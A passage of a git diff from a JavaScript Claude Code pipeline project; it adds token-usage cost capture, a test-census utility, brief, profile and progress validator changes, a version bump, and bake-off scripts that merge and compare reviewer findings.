? obj.requestId
|
||||
: `__anon_${anon++}`;
|
||||
byRequest.set(key, usage); // last occurrence wins
|
||||
}
|
||||
const totals = {
|
||||
tokens_input: 0,
|
||||
tokens_output: 0,
|
||||
tokens_cache_creation: 0,
|
||||
tokens_cache_read: 0,
|
||||
};
|
||||
for (const usage of byRequest.values()) {
|
||||
totals.tokens_input += num(usage.input_tokens);
|
||||
totals.tokens_output += num(usage.output_tokens);
|
||||
totals.tokens_cache_creation += num(usage.cache_creation_input_tokens);
|
||||
totals.tokens_cache_read += num(usage.cache_read_input_tokens);
|
||||
}
|
||||
return totals;
|
||||
}
|
||||
|
||||
/**
|
||||
* Cache-aware USD cost. Lumped cache_creation is priced at the 5m write rate
|
||||
* (Claude Code's default cache TTL; verified the dominant case on a real
|
||||
* transcript — the 1h split is a documented v2 refinement). When the model is
|
||||
* absent from the table we REFUSE to estimate: {cost_usd:null, is_estimate:true}.
|
||||
*
|
||||
* @returns {{cost_usd:number|null, is_estimate:boolean}}
|
||||
*/
|
||||
export function deriveCost(totals, model, priceTable = PRICE_TABLE) {
|
||||
const price = priceTable && priceTable[model];
|
||||
if (!price) return { cost_usd: null, is_estimate: true };
|
||||
const t = totals || {};
|
||||
const cost =
|
||||
(num(t.tokens_input) * price.input +
|
||||
num(t.tokens_output) * price.output +
|
||||
num(t.tokens_cache_creation) * price.cache_write_5m +
|
||||
num(t.tokens_cache_read) * price.cache_read) / 1_000_000;
|
||||
return { cost_usd: cost, is_estimate: false };
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the flat numeric record. Stamps scope:'main-context' and
|
||||
* price_table_version. session_id is written for upsert keying but MUST be
|
||||
* stripped at export (CWE-212, enforced by the field allowlist in Step 2).
|
||||
*
|
||||
* @param {{sessionId:string, model:string, totals:object,
|
||||
* priceTable?:object, now:string}} args
|
||||
*/
|
||||
export function buildRecord({ sessionId, model, totals, priceTable = PRICE_TABLE, now }) {
|
||||
const t = totals || {};
|
||||
const { cost_usd, is_estimate } = deriveCost(t, model, priceTable);
|
||||
return {
|
||||
ts: now,
|
||||
session_id: sessionId,
|
||||
scope: 'main-context',
|
||||
model,
|
||||
tokens_input: num(t.tokens_input),
|
||||
tokens_output: num(t.tokens_output),
|
||||
tokens_cache_creation: num(t.tokens_cache_creation),
|
||||
tokens_cache_read: num(t.tokens_cache_read),
|
||||
cost_usd,
|
||||
is_estimate,
|
||||
price_table_version: PRICE_TABLE_VERSION,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Pure read-modify-write. Parses existing JSONL lines, REPLACES the line whose
|
||||
* session_id matches the record (dropping any further same-session dupes),
|
||||
* else APPENDS. Returns the new file text (one line per session, trailing
|
||||
* newline). One-line-per-session is what keeps cross-session sums from
|
||||
* double-counting (vs append-and-grow).
|
||||
*/
|
||||
export function upsertSessionRecord(existingText, record) {
|
||||
const lines = (existingText || '').split('\n');
|
||||
const out = [];
|
||||
let replaced = false;
|
||||
for (const line of lines) {
|
||||
const trimmed = line.trim();
|
||||
if (trimmed === '') continue;
|
||||
let obj;
|
||||
try { obj = JSON.parse(trimmed); }
|
||||
catch { out.push(trimmed); continue; } // preserve unparseable lines verbatim
|
||||
if (obj && obj.session_id === record.session_id) {
|
||||
if (!replaced) { out.push(JSON.stringify(record)); replaced = true; }
|
||||
// else: duplicate same-session line — drop it
|
||||
} else {
|
||||
out.push(trimmed);
|
||||
}
|
||||
}
|
||||
if (!replaced) out.push(JSON.stringify(record));
|
||||
return out.join('\n') + '\n';
|
||||
}
|
||||
|
||||
/**
|
||||
* Last main-chain (non-sidechain) assistant model in the transcript. Used to
|
||||
* pick the price-table key. Returns null when no model is found (→ deriveCost
|
||||
* refuses to estimate). Pure.
|
||||
*/
|
||||
export function lastMainChainModel(text) {
|
||||
const lines = (text || '').split('\n');
|
||||
let model = null;
|
||||
for (const line of lines) {
|
||||
const trimmed = line.trim();
|
||||
if (trimmed === '') continue;
|
||||
let obj;
|
||||
try { obj = JSON.parse(trimmed); }
|
||||
catch { continue; }
|
||||
if (!obj || obj.type !== 'assistant' || obj.isSidechain === true) continue;
|
||||
const m = obj.message && obj.message.model;
|
||||
if (typeof m === 'string' && m) model = m;
|
||||
}
|
||||
return model;
|
||||
}
|
||||
|
||||
/**
|
||||
* Impure capture shell (Step 4). Reads the transcript, derives main-context
|
||||
* token totals + cost, and UPSERTS a one-line-per-session record into
|
||||
* {dataDir}/token-usage-stats.jsonl via an atomic temp+rename write
|
||||
* (EXDEV mitigation: tmp lives in the same dir as the target).
|
||||
*
|
||||
* Returns the written record, or null when skipped (no path / no dataDir /
|
||||
* transcript not a readable regular file). Throws propagate to the caller —
|
||||
* the Stop hook wraps this in try/catch so capture stays fail-open.
|
||||
*
|
||||
* @param {{transcriptPath:string, sessionId:string, dataDir:string,
|
||||
* now?:string}} args
|
||||
*/
|
||||
export function captureTokenUsage({ transcriptPath, sessionId, dataDir, now }) {
|
||||
if (!transcriptPath || !dataDir) return null;
|
||||
let st;
|
||||
try { st = statSync(transcriptPath); }
|
||||
catch { return null; }
|
||||
if (!st.isFile()) return null;
|
||||
|
||||
const text = readFileSync(transcriptPath, 'utf-8');
|
||||
const totals = parseTranscriptUsage(text);
|
||||
const model = lastMainChainModel(text);
|
||||
const record = buildRecord({
|
||||
sessionId,
|
||||
model,
|
||||
totals,
|
||||
now: now || new Date().toISOString(),
|
||||
});
|
||||
|
||||
const outPath = join(dataDir, 'token-usage-stats.jsonl');
|
||||
const existing = existsSync(outPath) ? readFileSync(outPath, 'utf-8') : '';
|
||||
const updated = upsertSessionRecord(existing, record);
|
||||
|
||||
const tmpPath = join(dirname(outPath), '.token-usage-stats.jsonl.tmp');
|
||||
writeFileSync(tmpPath, updated);
|
||||
renameSync(tmpPath, outPath);
|
||||
return record;
|
||||
}
|
||||
62
lib/util/test-census.mjs
Normal file
62
lib/util/test-census.mjs
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
// lib/util/test-census.mjs
|
||||
// Census of the test suite: split top-level test() declarations into three
|
||||
// honest categories:
|
||||
// - "behavior" — ordinary behavior coverage (the default bucket).
|
||||
// - "docPins" — doc-consistency pins (string/existence assertions that pin
|
||||
// documentation against a source-of-truth).
|
||||
// - "goldEval" — the offline gold-scored output eval scoring RUN (SKAL-1·4b):
|
||||
// neither behavior nor prose-pin, but a run that scores a
|
||||
// committed agent-run fixture against the golden corpus.
|
||||
// Makes the cited test count honest — a prose-pin is not the same coverage as a
|
||||
// behavior test, and a scoring run is a third thing again, so a single
|
||||
// conflated total oversells behavior coverage.
|
||||
// Devil's-advocate audit §Top changes #8 (S19); third bucket added in SKAL-1·4b.
|
||||
//
|
||||
// Metric: top-level `test(` declarations (static, deterministic, in-process).
|
||||
// This is distinct from node:test's runtime total, which additionally counts
|
||||
// subtests; the runtime total is therefore ≥ this declaration count.
|
||||
|
||||
import { readFileSync, readdirSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
|
||||
// Files whose tests are documentation pins, not behavior coverage. Kept as a
|
||||
// regex (not a single filename) so a future split-out (e.g. prose-pins.test.mjs)
|
||||
// is bucketed correctly without editing this module.
|
||||
export const PIN_FILE_RE = /(doc-consistency|prose-pins)\.test\.mjs$/;
|
||||
|
||||
// Files whose tests are the offline gold-scored output eval scoring run
|
||||
// (SKAL-1·4b). Kept as a regex (not a single filename) so a future split-out
|
||||
// is bucketed correctly without editing this module.
|
||||
export const GOLD_EVAL_FILE_RE = /gold-eval\.test\.mjs$/;
|
||||
|
||||
function walk(dir) {
|
||||
const out = [];
|
||||
for (const e of readdirSync(dir, { withFileTypes: true })) {
|
||||
const p = join(dir, e.name);
|
||||
if (e.isDirectory()) out.push(...walk(p));
|
||||
else if (e.isFile() && e.name.endsWith('.test.mjs')) out.push(p);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function countTests(file) {
|
||||
return (readFileSync(file, 'utf-8').match(/^\s*test\(/gm) || []).length;
|
||||
}
|
||||
|
||||
// Returns { behavior, docPins, goldEval, total, byFile } for all *.test.mjs
|
||||
// under testsRoot. behavior + docPins + goldEval === total by construction.
|
||||
export function censusTests(testsRoot) {
|
||||
const files = walk(testsRoot).sort();
|
||||
const byFile = {};
|
||||
let behavior = 0;
|
||||
let docPins = 0;
|
||||
let goldEval = 0;
|
||||
for (const f of files) {
|
||||
const n = countTests(f);
|
||||
byFile[f] = n;
|
||||
if (PIN_FILE_RE.test(f)) docPins += n;
|
||||
else if (GOLD_EVAL_FILE_RE.test(f)) goldEval += n;
|
||||
else behavior += n;
|
||||
}
|
||||
return { behavior, docPins, goldEval, total: behavior + docPins + goldEval, byFile };
|
||||
}
|
||||
|
|
@ -18,6 +18,23 @@ export const BRIEF_RESEARCH_STATUS_VALUES = ['pending', 'in_progress', 'complete
|
|||
export const BRIEF_BODY_SECTIONS = ['Intent', 'Goal', 'Success Criteria'];
|
||||
export const PHASE_SIGNAL_PHASES = Object.freeze(['research', 'plan', 'execute', 'review']);
|
||||
export const EFFORT_LEVELS = Object.freeze(['low', 'standard', 'high']);
|
||||
// v5.5 — framing: how this brief relates to prior operator intent (the first layer
|
||||
// of the framing-alignment defense). Required at brief_version ≥ 2.2.
|
||||
export const BRIEF_FRAMING_VALUES = Object.freeze(['preserve', 'refine', 'replace', 'new-direction']);
|
||||
// v5.5 — obligatory TL;DR section (≤ 5 content lines) at the top of brief.md,
|
||||
// gated at brief_version ≥ 2.2. Soft cap is a warning, not a blocker.
|
||||
export const BRIEF_TLDR_MAX_LINES = 5;
|
||||
|
||||
// Extract the raw text of a `## {heading}` section body (between its heading line
|
||||
// and the next `## ` heading, or end of document). Returns null if absent.
|
||||
function extractSection(body, heading) {
|
||||
const re = new RegExp(`^##\\s+${heading}\\b.*$`, 'm');
|
||||
const m = re.exec(body);
|
||||
if (!m) return null;
|
||||
const after = body.slice(m.index + m[0].length);
|
||||
const next = after.search(/^##\s/m);
|
||||
return next === -1 ? after : after.slice(0, next);
|
||||
}
|
||||
|
||||
function getRequiredFields(type) {
|
||||
return type === 'trekreview' ? REVIEW_AS_BRIEF_REQUIRED_FRONTMATTER : BRIEF_REQUIRED_FRONTMATTER;
|
||||
|
|
@ -88,12 +105,23 @@ export function validateBriefContent(text, opts = {}) {
|
|||
// a string ("2.1") or a number (2.1). v5.1.0 shipped with an unquoted-2.1 template
|
||||
// that silently bypassed this gate — fix locked in by quoting the template AND
|
||||
// accepting both shapes here as defense-in-depth (v5.1.1, finding 3c834097/df1435a2).
|
||||
// v5.5 — framing enum check fires on ANY version when the field is present but
|
||||
// malformed. The missing-framing BLOCKER below is version-gated (≥ 2.2).
|
||||
if ('framing' in fm && !BRIEF_FRAMING_VALUES.includes(fm.framing)) {
|
||||
errors.push(issue(
|
||||
'BRIEF_INVALID_FRAMING',
|
||||
`framing "${fm.framing}" not in [${BRIEF_FRAMING_VALUES.join(', ')}]`,
|
||||
'framing declares how this brief relates to prior operator intent.',
|
||||
));
|
||||
}
|
||||
|
||||
if (typeof fm.brief_version === 'string' || typeof fm.brief_version === 'number') {
|
||||
const vm = String(fm.brief_version).match(/^(\d+)\.(\d+)$/);
|
||||
if (vm) {
|
||||
const major = Number(vm[1]);
|
||||
const minor = Number(vm[2]);
|
||||
const atLeast21 = major > 2 || (major === 2 && minor >= 1);
|
||||
const atLeast22 = major > 2 || (major === 2 && minor >= 2);
|
||||
if (atLeast21 && !hasSignals && !hasPartial && fm.type !== 'trekreview') {
|
||||
errors.push(issue(
|
||||
'BRIEF_V51_MISSING_SIGNALS',
|
||||
|
|
@ -101,6 +129,55 @@ export function validateBriefContent(text, opts = {}) {
|
|||
'Re-run /trekbrief — Phase 3.5 collects per-phase effort + model signals.',
|
||||
));
|
||||
}
|
||||
// v5.5 framing enforcement — gated at ≥ 2.2 (trekreview briefs are exempt).
|
||||
if (atLeast22 && fm.type !== 'trekreview') {
|
||||
if (!('framing' in fm)) {
|
||||
errors.push(issue(
|
||||
'BRIEF_MISSING_FRAMING',
|
||||
'brief_version ≥ 2.2 requires a framing: field',
|
||||
`Set framing to one of [${BRIEF_FRAMING_VALUES.join(', ')}] — /trekbrief Phase 2.5 collects it before any brief prose is written.`,
|
||||
));
|
||||
}
|
||||
const tldr = extractSection(body, 'TL;DR');
|
||||
if (tldr === null) {
|
||||
const tldrIssue = issue('BRIEF_MISSING_SECTION', 'Required body section missing: ## TL;DR');
|
||||
if (strict) errors.push(tldrIssue); else warnings.push(tldrIssue);
|
||||
} else {
|
||||
const lines = tldr.split('\n').map(l => l.trim()).filter(Boolean);
|
||||
if (lines.length > BRIEF_TLDR_MAX_LINES) {
|
||||
warnings.push(issue(
|
||||
'BRIEF_TLDR_TOO_LONG',
|
||||
`## TL;DR has ${lines.length} content lines (max ${BRIEF_TLDR_MAX_LINES}) — keep it to a one-glance summary`,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// S18 — opt-in version floor. When the caller passes minBriefVersion (commands
|
||||
// forward --min-brief-version), WARN (never block) if the brief declares a
|
||||
// version below it: framing enforcement only fires at ≥ 2.2, so an older brief
|
||||
// sidesteps the framing-alignment defense silently. Absent opt → no check.
|
||||
// trekreview briefs have no framing and are exempt.
|
||||
if (opts.minBriefVersion && fm.type !== 'trekreview') {
|
||||
const mm = String(opts.minBriefVersion).match(/^(\d+)\.(\d+)$/);
|
||||
if (mm) {
|
||||
const minMajor = Number(mm[1]);
|
||||
const minMinor = Number(mm[2]);
|
||||
const bm = fm.brief_version === undefined
|
||||
? null
|
||||
: String(fm.brief_version).match(/^(\d+)\.(\d+)$/);
|
||||
const below = bm
|
||||
? (Number(bm[1]) < minMajor || (Number(bm[1]) === minMajor && Number(bm[2]) < minMinor))
|
||||
: true; // absent or unparseable version is below any floor
|
||||
if (below) {
|
||||
warnings.push(issue(
|
||||
'BRIEF_VERSION_BELOW_MINIMUM',
|
||||
`brief_version ${fm.brief_version ?? '(absent)'} is below the requested minimum ${opts.minBriefVersion} — framing enforcement (≥ 2.2) is bypassed`,
|
||||
'Re-run /trekbrief to produce a brief_version 2.2 brief, or drop --min-brief-version to accept the older brief as-is.',
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -172,12 +249,19 @@ export function validateBrief(filePath, opts = {}) {
|
|||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = process.argv.slice(2);
|
||||
const strict = !args.includes('--soft');
|
||||
const filePath = args.find(a => !a.startsWith('--'));
|
||||
const minIdx = args.indexOf('--min-version');
|
||||
const minBriefVersion = minIdx >= 0 ? args[minIdx + 1] : undefined;
|
||||
// filePath is the first positional, skipping the --min-version value token.
|
||||
// Guard: when --min-version is absent (minIdx === -1) the skip index must be -1,
|
||||
// not 0 — otherwise the no-flag invocation `brief-validator.mjs <brief.md>` drops
|
||||
// the file (which sits at index 0) and bails to Usage.
|
||||
const skipIdx = minIdx >= 0 ? minIdx + 1 : -1;
|
||||
const filePath = args.find((a, i) => !a.startsWith('--') && i !== skipIdx);
|
||||
if (!filePath) {
|
||||
process.stderr.write('Usage: brief-validator.mjs [--soft] <brief.md>\n');
|
||||
process.stderr.write('Usage: brief-validator.mjs [--soft] [--min-version <x.y>] <brief.md>\n');
|
||||
process.exit(2);
|
||||
}
|
||||
const r = validateBrief(filePath, { strict });
|
||||
const r = validateBrief(filePath, { strict, minBriefVersion });
|
||||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
|
||||
} else {
|
||||
|
|
|
|||
|
|
@ -9,6 +9,10 @@
|
|||
// parallel_agents_max : number (≥ parallel_agents_min)
|
||||
// external_research_enabled : boolean
|
||||
// brief_reviewer_iter_cap : number (≥ 1)
|
||||
// experimental : boolean (OPTIONAL) — true marks a tier whose
|
||||
// gating constants are not yet empirically
|
||||
// calibrated (e.g. economy's parked-synthetic
|
||||
// cross-tier Jaccard floor). Absent ⇒ stable.
|
||||
//
|
||||
// Issue codes:
|
||||
// PROFILE_MISSING_FIELD — required top-level frontmatter field absent
|
||||
|
|
@ -17,7 +21,7 @@
|
|||
// PROFILE_READ_ERROR — file unreadable or parse-error
|
||||
// PROFILE_NOT_FOUND — file does not exist
|
||||
//
|
||||
// Allowed model values: ['sonnet', 'opus']. Haiku is allowed only when
|
||||
// Allowed model values: ['sonnet', 'opus', 'fable']. Haiku is allowed only when
|
||||
// VOYAGE_ALLOW_HAIKU=1 (per global CLAUDE.md modellvalg-prinsipp: Haiku skal
|
||||
// ikke brukes som default; eksplisitt opt-in for spesielle bruksmønstre).
|
||||
|
||||
|
|
@ -38,7 +42,7 @@ export const PROFILE_REQUIRED_PHASES = Object.freeze([
|
|||
'brief', 'research', 'plan', 'execute', 'review', 'continue',
|
||||
]);
|
||||
|
||||
export const BASE_ALLOWED_MODELS = Object.freeze(['sonnet', 'opus']);
|
||||
export const BASE_ALLOWED_MODELS = Object.freeze(['sonnet', 'opus', 'fable']);
|
||||
|
||||
function getAllowedModels(env = process.env) {
|
||||
if (env.VOYAGE_ALLOW_HAIKU === '1') {
|
||||
|
|
@ -99,6 +103,12 @@ export function validateProfileContent(text, opts = {}) {
|
|||
`brief_reviewer_iter_cap must be number (got ${typeof fm.brief_reviewer_iter_cap})`));
|
||||
}
|
||||
|
||||
// Optional field: `experimental` (boolean). Absent ⇒ tier is stable.
|
||||
if ('experimental' in fm && typeof fm.experimental !== 'boolean') {
|
||||
errors.push(issue('PROFILE_INVALID_ENUM',
|
||||
`experimental must be boolean (got ${typeof fm.experimental})`));
|
||||
}
|
||||
|
||||
// phase_models validation
|
||||
if ('phase_models' in fm) {
|
||||
if (!Array.isArray(fm.phase_models)) {
|
||||
|
|
|
|||
|
|
@ -1,5 +1,11 @@
|
|||
// lib/validators/progress-validator.mjs
|
||||
// Validate progress.json shape + resume-readiness.
|
||||
// Forward-compat: unknown keys are tolerated silently, so additive-optional fields land
|
||||
// WITHOUT a schema_version bump. `iterations_remaining` (trekexecute's recovery/retry budget
|
||||
// signal) is shape-checked here only when present (non-negative integer); it is NOT in
|
||||
// PROGRESS_REQUIRED_TOP, so legacy progress.json without it still validates. The field's
|
||||
// liveness (never-decremented) is enforced deterministically by the Phase 7.5 completion-gate
|
||||
// cross-check in trekexecute, not by this per-validation shape check.
|
||||
|
||||
import { readFileSync, existsSync } from 'node:fs';
|
||||
import { issue, fail } from '../util/result.mjs';
|
||||
|
|
@ -45,6 +51,16 @@ export function validateProgressObject(parsed, opts = {}) {
|
|||
}
|
||||
}
|
||||
|
||||
// Additive-optional: iterations_remaining is trekexecute's recovery/retry budget signal.
|
||||
// When present it must be a non-negative integer; absence is valid (backward-compat).
|
||||
if (parsed.iterations_remaining !== undefined &&
|
||||
!(Number.isInteger(parsed.iterations_remaining) && parsed.iterations_remaining >= 0)) {
|
||||
errors.push(issue(
|
||||
'PROGRESS_ITERATIONS_REMAINING_INVALID',
|
||||
`iterations_remaining=${parsed.iterations_remaining} must be a non-negative integer`,
|
||||
));
|
||||
}
|
||||
|
||||
if (parsed.steps && typeof parsed.steps === 'object') {
|
||||
const stepKeys = Object.keys(parsed.steps);
|
||||
if (typeof parsed.total_steps === 'number' && stepKeys.length !== parsed.total_steps) {
|
||||
|
|
|
|||
4
package-lock.json
generated
4
package-lock.json
generated
|
|
@ -1,12 +1,12 @@
|
|||
{
|
||||
"name": "voyage",
|
||||
"version": "5.1.1",
|
||||
"version": "5.9.1",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "voyage",
|
||||
"version": "5.1.1",
|
||||
"version": "5.9.1",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=18"
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
{
|
||||
"name": "voyage",
|
||||
"version": "5.1.1",
|
||||
"version": "5.9.1",
|
||||
"description": "Voyage — brief, research, plan, execute, review, continue. Contract-driven Claude Code pipeline. /trekbrief, /trekplan, and /trekreview each end by building a self-contained operator-annotation HTML (scripts/annotate.mjs, modelled on claude-code-100x): select text or click any heading/paragraph/list-item, pick intent (Fiks/Endre/Spørsmål), write comment, copy structured prompt, paste back, Claude revises the .md.",
|
||||
"type": "module",
|
||||
"engines": {
|
||||
|
|
|
|||
101
scripts/bakeoff-armA-merge.mjs
Normal file
101
scripts/bakeoff-armA-merge.mjs
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
// scripts/bakeoff-armA-merge.mjs
|
||||
// NW2 bake-off — Arm A (prose path) merge step.
|
||||
//
|
||||
// Arm A is the CURRENT /trekreview Phase 5–6 substrate: main spawns the two
|
||||
// reviewers FOREGROUND (Agent tool), each emits a trailing fenced ```json block
|
||||
// of findings (the prose contract), and main hand-validates + dedups before
|
||||
// spawning the coordinator. This script is that hand-validate + dedup, made
|
||||
// reproducible:
|
||||
//
|
||||
// for each reviewer raw-output file:
|
||||
// validateReviewerOutput() (NW1 — extract last json fence, parse, schema-check)
|
||||
// collect findings from VALID reviewers
|
||||
// triplet-dedup by (file,line,rule_key) [SAME logic as Arm B's dedupByTriplet,
|
||||
// so the two arms dedup identically —
|
||||
// triplet-only, no jaccard pass-2]
|
||||
// → emit { merged, validation, raw_finding_count, deduped_count }
|
||||
//
|
||||
// The merged findings are then handed to the review-coordinator (spawned by main),
|
||||
// mirroring Arm B's coordinatorPrompt input. JSON-robustness metric = the
|
||||
// `validation` report (parse/schema failures + which codes).
|
||||
//
|
||||
// Usage:
|
||||
// node scripts/bakeoff-armA-merge.mjs [--json] <reviewerA.txt> <reviewerB.txt> ...
|
||||
// → stdout: merged findings JSON (or full report with --json). Exit 0 always
|
||||
// (validation failures are reported in-band, not as a nonzero exit).
|
||||
|
||||
import { readFileSync, existsSync } from 'node:fs';
|
||||
import { validateReviewerOutput } from '../lib/review/findings-schema.mjs';
|
||||
|
||||
// Triplet dedup — byte-for-byte the same key + first-wins policy as
|
||||
// scripts/trekreview-armB.workflow.mjs `dedupByTriplet`, so neither arm gets a
|
||||
// dedup advantage. Triplet-only (file,line,rule_key); NO jaccard pass-2.
|
||||
export function dedupByTriplet(findings) {
|
||||
const seen = new Map();
|
||||
for (const f of findings) {
|
||||
const key = `${f.file} ${f.line} ${f.rule_key}`;
|
||||
if (!seen.has(key)) seen.set(key, f);
|
||||
}
|
||||
return [...seen.values()];
|
||||
}
|
||||
|
||||
/**
|
||||
* Merge an array of reviewer raw-output texts into the coordinator's input.
|
||||
* @param {Array<{label?: string, text: string}>} reviewerOutputs
|
||||
* @returns {{ merged, validation, raw_finding_count, deduped_count }}
|
||||
*/
|
||||
export function mergeArmA(reviewerOutputs) {
|
||||
const validation = [];
|
||||
const allFindings = [];
|
||||
for (const { label, text } of reviewerOutputs) {
|
||||
const r = validateReviewerOutput(text);
|
||||
validation.push({
|
||||
label: label || null,
|
||||
valid: r.valid,
|
||||
finding_count: Array.isArray(r.parsed?.findings) ? r.parsed.findings.length : 0,
|
||||
error_codes: (r.errors || []).map((e) => e.code),
|
||||
warning_codes: (r.warnings || []).map((w) => w.code),
|
||||
});
|
||||
// Mirror Phase 5: only VALID reviewer output flows to the coordinator.
|
||||
if (r.valid && Array.isArray(r.parsed?.findings)) {
|
||||
allFindings.push(...r.parsed.findings);
|
||||
}
|
||||
}
|
||||
const merged = dedupByTriplet(allFindings);
|
||||
return {
|
||||
merged,
|
||||
validation,
|
||||
raw_finding_count: allFindings.length,
|
||||
deduped_count: merged.length,
|
||||
};
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const argv = process.argv.slice(2);
|
||||
const asJson = argv.includes('--json');
|
||||
const files = argv.filter((a) => !a.startsWith('--'));
|
||||
if (files.length === 0) {
|
||||
process.stderr.write('Usage: bakeoff-armA-merge.mjs [--json] <reviewer-output> ...\n');
|
||||
process.exit(2);
|
||||
}
|
||||
const outputs = files.map((f) => {
|
||||
if (!existsSync(f)) {
|
||||
process.stderr.write(`bakeoff-armA-merge: file not found: ${f}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
return { label: f, text: readFileSync(f, 'utf-8') };
|
||||
});
|
||||
const result = mergeArmA(outputs);
|
||||
if (asJson) {
|
||||
process.stdout.write(JSON.stringify(result, null, 2) + '\n');
|
||||
} else {
|
||||
process.stdout.write(JSON.stringify(result.merged, null, 2) + '\n');
|
||||
process.stderr.write(
|
||||
`arm-A merge: ${result.raw_finding_count} raw → ${result.deduped_count} deduped; ` +
|
||||
`validation ${result.validation.map((v) => `${v.label}:${v.valid ? 'OK' : v.error_codes.join('/')}`).join(' ')}\n`,
|
||||
);
|
||||
}
|
||||
process.exit(0);
|
||||
}
|
||||
123
scripts/bakeoff-fidelity.mjs
Normal file
123
scripts/bakeoff-fidelity.mjs
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
// scripts/bakeoff-fidelity.mjs
|
||||
// NW2 bake-off — fidelity analysis across ≥3 runs/arm (S10 part B).
|
||||
//
|
||||
// Consumes the per-run structured arm outputs ({verdict, findings:[...]}) and
|
||||
// computes the T2 §5 fidelity picture:
|
||||
//
|
||||
// - CROSS-ARM (PRIMARY): every (Ai, Bj) pair via fidelityDiffStructured
|
||||
// (lib/review/fidelity-diff.mjs) → median jaccard, verdict-match rate,
|
||||
// equivalence rate, severity/rule_key mismatch tallies.
|
||||
// - WITHIN-ARM (context): each arm's own run-to-run variance (Ai vs Aj),
|
||||
// so cross-arm divergence can be read against each arm's intrinsic noise.
|
||||
// - Distributions: per-arm verdicts + finding counts.
|
||||
//
|
||||
// Pure analysis over JSON the live runs produced — no LLM, deterministic.
|
||||
//
|
||||
// Usage:
|
||||
// node scripts/bakeoff-fidelity.mjs --armA a1.json a2.json a3.json \
|
||||
// --armB b1.json b2.json b3.json [--json]
|
||||
// Each *.json is a structured arm result: {"verdict": "...", "findings": [...]}.
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fidelityDiffStructured } from '../lib/review/fidelity-diff.mjs';
|
||||
|
||||
function median(nums) {
|
||||
if (nums.length === 0) return null;
|
||||
const s = [...nums].sort((a, b) => a - b);
|
||||
const mid = Math.floor(s.length / 2);
|
||||
return s.length % 2 ? s[mid] : (s[mid - 1] + s[mid]) / 2;
|
||||
}
|
||||
|
||||
function round(n, d = 4) {
|
||||
return n === null ? null : Number(n.toFixed(d));
|
||||
}
|
||||
|
||||
function pairwise(arms, label) {
|
||||
const out = [];
|
||||
for (let i = 0; i < arms.length; i++) {
|
||||
for (let j = i + 1; j < arms.length; j++) {
|
||||
const d = fidelityDiffStructured(arms[i].result, arms[j].result);
|
||||
out.push({ pair: `${label}${i + 1}×${label}${j + 1}`, jaccard: round(d.jaccard), verdictMatch: d.verdictMatch, equivalent: d.equivalent });
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {Array<{name, result:{verdict,findings}}>} armA
|
||||
* @param {Array<{name, result:{verdict,findings}}>} armB
|
||||
*/
|
||||
export function analyze(armA, armB) {
|
||||
// Cross-arm — the substrate comparison.
|
||||
const cross = [];
|
||||
for (let i = 0; i < armA.length; i++) {
|
||||
for (let j = 0; j < armB.length; j++) {
|
||||
const d = fidelityDiffStructured(armA[i].result, armB[j].result);
|
||||
cross.push({
|
||||
pair: `A${i + 1}×B${j + 1}`,
|
||||
verdictA: d.verdictA, verdictB: d.verdictB, verdictMatch: d.verdictMatch,
|
||||
jaccard: round(d.jaccard), countA: d.countA, countB: d.countB,
|
||||
severityMismatches: d.severityMismatches.length,
|
||||
ruleKeyMismatches: d.ruleKeyMismatches.length,
|
||||
equivalent: d.equivalent,
|
||||
});
|
||||
}
|
||||
}
|
||||
const crossJ = cross.map((c) => c.jaccard);
|
||||
const summary = {
|
||||
runs: { armA: armA.length, armB: armB.length },
|
||||
cross_arm: {
|
||||
median_jaccard: round(median(crossJ)),
|
||||
min_jaccard: round(Math.min(...crossJ)),
|
||||
max_jaccard: round(Math.max(...crossJ)),
|
||||
verdict_match_rate: round(cross.filter((c) => c.verdictMatch).length / cross.length, 3),
|
||||
equivalent_rate: round(cross.filter((c) => c.equivalent).length / cross.length, 3),
|
||||
severity_mismatch_pairs: cross.filter((c) => c.severityMismatches > 0).length,
|
||||
rulekey_mismatch_pairs: cross.filter((c) => c.ruleKeyMismatches > 0).length,
|
||||
},
|
||||
within_arm_A: pairwise(armA, 'A'),
|
||||
within_arm_B: pairwise(armB, 'B'),
|
||||
distributions: {
|
||||
armA_verdicts: armA.map((a) => a.result.verdict),
|
||||
armB_verdicts: armB.map((b) => b.result.verdict),
|
||||
armA_counts: armA.map((a) => (a.result.findings || []).length),
|
||||
armB_counts: armB.map((b) => (b.result.findings || []).length),
|
||||
},
|
||||
};
|
||||
return { summary, cross };
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const argv = process.argv.slice(2);
|
||||
const asJson = argv.includes('--json');
|
||||
function collect(flag) {
|
||||
const i = argv.indexOf(flag);
|
||||
if (i === -1) return [];
|
||||
const files = [];
|
||||
for (let k = i + 1; k < argv.length && !argv[k].startsWith('--'); k++) files.push(argv[k]);
|
||||
return files.map((f) => ({ name: f, result: JSON.parse(readFileSync(f, 'utf-8')) }));
|
||||
}
|
||||
const armA = collect('--armA');
|
||||
const armB = collect('--armB');
|
||||
if (armA.length === 0 || armB.length === 0) {
|
||||
process.stderr.write('Usage: bakeoff-fidelity.mjs --armA a*.json --armB b*.json [--json]\n');
|
||||
process.exit(2);
